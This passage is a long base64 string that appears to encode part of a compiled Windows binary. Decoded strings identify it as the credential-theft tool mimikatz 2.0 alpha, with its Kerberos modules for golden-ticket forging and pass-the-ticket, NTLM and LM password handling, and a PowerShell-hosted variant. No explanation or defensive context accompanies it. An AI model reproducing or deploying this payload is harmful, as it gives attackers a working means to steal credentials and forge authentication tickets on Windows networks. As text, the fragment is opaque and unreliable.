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H0BECx9ARBcfgEQLH4BECh+ARAFAAAAYHABEBhGABBJRgAQ3q3A3g7gsAvA/+5Quq3wDVwALwA6ACoAPwAiADwAPgB8AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAARABlAHYAaQBjAGUASQBvAEMAbwBuAHQAcgBvAGwAIAAoADAAeAAlADAAOAB4ACkAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFwAXAAuAFwAbQBpAG0AaQBkAHIAdgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABRAFcATwBSAEQAAABSAEUAUwBPAFUAUgBDAEUAXwBSAEUAUQBVAEkAUgBFAE0ARQBOAFQAUwBfAEwASQBTAFQAAAAAAEYAVQBMAEwAXwBSAEUAUwBPAFUAUgBDAEUAXwBEAEUAUwBDAFIASQBQAFQATwBSAAAAAABSAEUAUwBPAFUAUgBDAEUAXwBMAEkAUwBUAAAATQBVAEwAVABJAF8AUwBaAAAAAABMAEkATgBLAAAAAABEAFcATwBSAEQAXwBCAEkARwBfAEUATgBEAEkAQQBOAAAAAABEAFcATwBSAEQAAABCAEkATgBBAFIAWQAAAAAARQBYAFAAQQBOAEQAXwBTAFoAAABTAFoAAAAAAE4ATwBOAEUAAAAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAXAB4ACUAMAAyAHgAAAAAADAAeAAlADAAMgB4ACwAIAAAAAAAJQAwADIAeAAgAAAAJQAwADIAeAAAAAAACgAAACUAcwAgAAAAJQBzAAAAAAAlAHcAWgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AZABpAHMAcABsAGEAeQBTAEkARAAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAG8AawBlAG4AAAAKACAAIAAuACMAIwAjACMAIwAuACAAIAAgAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKAB4ADgANgApACAAcgBlAGwAZQBhAHMAZQAgACIASwBpAHcAaQAgAGUAbgAgAEMAIgAgACgATQBhAHkAIAAyADAAIAAyADAAMQA0ACAAMAA4ADoANQA1ADoAMAA1ACkACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAKACAAIwAjACAALwAgAFwAIAAjACMAIAAgAC8AKgAgACoAIAAqAAoAIAAjACMAIABcACAALwAgACMAIwAgACAAIABCAGUAbgBqAGEAbQBpAG4AIABEAEUATABQAFkAIABgAGcAZQBuAHQAaQBsAGsAaQB3AGkAYAAgACgAIABiAGUAbgBqAGEAbQBpAG4AQABnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0AIAApAAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAG8AZQAuAGUAbwApAAoAIAAgACcAIwAjACMAIwAjACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMwB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoACgAAAAoAbQBpAG0AaQBrAGEAdAB6ACgAcABvAHcAZQByAHMAaABlAGwAbAApACAAIwAgACUAcwAKAAAASQBOAEkAVAAAAAAAQwBMAEUAQQBOAAAAAAAAAD4APgA+ACAAJQBzACAAbwBmACAAJwAlAHMAJwAgAG0AbwBkAHUAbABlACAAZgBhAGkAbABlAGQAIAA6ACAAJQAwADgAeAAKAAAAAAA6ADoAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAACgAlADEANgBzAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABjAG8AbQBtAGEAbgBkACAAbwBmACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAACgBGAHUAbABsACAAbgBhAG0AZQAgADoACQAlAHMAAAAKAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoACQAlAHMAAABLZXJiZXJvcwAAAAB1AHMAZQByAAAAAABXAGkAbABsAHkAIABXAG8AbgBrAGEAIABmAGEAYwB0AG8AcgB5AAAAZwBvAGwAZABlAG4AAAAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAcAB1AHIAZwBlAAAAUgBlAHQAcgBpAGUAdgBlACAAYwB1AHIAcgBlAG4AdAAgAFQARwBUAAAAAAB0AGcAdAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAbABpAHMAdAAAAAAAUABhAHMAcwAtAHQAaABlAC0AdABpAGMAawBlAHQAIABbAE4AVAAgADYAXQAAAAAAcAB0AHQAAAAAAAAASwBlAHIAYgBlAHIAbwBzACAAcABhAGMAawBhAGcAZQAgAG0AbwBkAHUAbABlAAAAawBlAHIAYgBlAHIAbwBzAAAAAABUAGkAYwBrAGUAdAAgACcAJQBzACcAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHMAdQBiAG0AaQB0AHQAZQBkACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAHQAaQBjAGsAZQB0ACAAZgBpAGwAZQBuAGEAbQBlAAoAAABUAGkAYwBrAGUAdAAoAHMAKQAgAHAAdQByAGcAZQAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIABpAHMAIABPAEsACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAAACgAoAE4AVQBMAEwAIABzAGUAcwBzAGkAbwBuACAAawBlAHkAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACkACgAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAgADsAIAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAABrAGkAcgBiAGkAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAZABvAG0AYQBpAG4AAAAAAHMAaQBkAAAAawByAGIAdABnAHQAAAAAAGkAZAAAAAAAZwByAG8AdQBwAHMAAAAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAAAARwByAG8AdQBwAHMAIABJAGQAIAA6ACAAKgAAACUAdQAgAAAACgBrAHIAYgB0AGcAdAAgACAAIAAgADoAIAAAAC0APgAgAFQAaQBjAGsAZQB0ACAAOgAgACUAcwAKAAoAAAAAAAoARgBpAG4AYQBsACAAVABpAGMAawBlAHQAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABQAEEAQwAgAHMAaQBnAG4AZQBkAAoAAAAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGUAbgBjAHIAeQBwAHQAZQBkAAoAAAAgACoAIABLAHIAYgBDAHIAZQBkACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8A